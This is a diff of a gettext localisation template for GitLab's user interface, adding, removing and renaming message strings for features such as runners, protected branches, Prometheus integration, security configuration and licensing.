msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25547,9 +25256,12 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
-msgid "Project avatar"
+msgid "Project audit events"
msgstr ""
+msgid "Project avatar"
+msgstr "Projektets avatar"
+
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26420,18 +26111,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26447,9 +26129,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
+msgstr ""
+
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allowed to force push"
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26744,18 +26441,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,15 +27264,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28152,9 +27852,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30729,9 +30516,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,7 +31599,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
